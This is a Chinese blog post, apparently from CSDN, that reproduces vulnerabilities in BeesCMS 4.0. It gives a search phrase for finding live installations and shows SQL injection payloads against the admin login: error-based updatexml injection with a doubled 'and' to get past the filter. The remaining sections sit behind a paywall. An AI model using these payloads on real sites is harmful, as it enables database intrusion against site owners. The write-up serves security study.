BeesCMS4.0多处漏洞复现

最新推荐文章于 2025-03-24 09:27:42 发布

1匹黑马

最新推荐文章于 2025-03-24 09:27:42 发布

阅读量8.6k

点赞数 4

分类专栏：代码审计：实战文章标签：安全安全漏洞信息安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_43573676/article/details/105627370

版权

文章详细介绍了BeesCMS4.0的三个主要安全漏洞：后台报错注入、变量覆盖和文件上传。通过复现过程展示了如何利用这些漏洞，包括SQL注入的双写绕过、文件上传的Content-Type欺骗以及通过变量覆盖直接登录后台。同时，提到了这些漏洞可能带来的风险，并警告读者不要用于非法活动。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

文章目录

前言

本次复现的漏洞有：

后台报错注入漏洞
变量覆盖漏洞
文件上传漏洞

Beescms v4.0由于后台登录设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入、文件上传、变量覆盖漏洞。现在依然有许多企业选用BeesCMS4.0，百度搜powerd by BEESCMS © 2010-2015 www.beescms.com 还是有很多站的：

在这里插入图片描述

漏洞复现

后台报错注入

正常输入后台账号密码提示密码错误：
在这里插入图片描述

输入admin’报错，此处为显错注入：

admin'

在这里插入图片描述
使用order by 10探测字段长度，最终探测长度为5

order by 5#

在这里插入图片描述

order by 6#

在这里插入图片描述

爆数据库名时and被过滤，采用空格+双写绕过：

admin' an and d updatexml(1,concat(0x7e,select database(),0x7e),1)#

在这里插入图片描述

查表

最低0.47元/天解锁文章

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。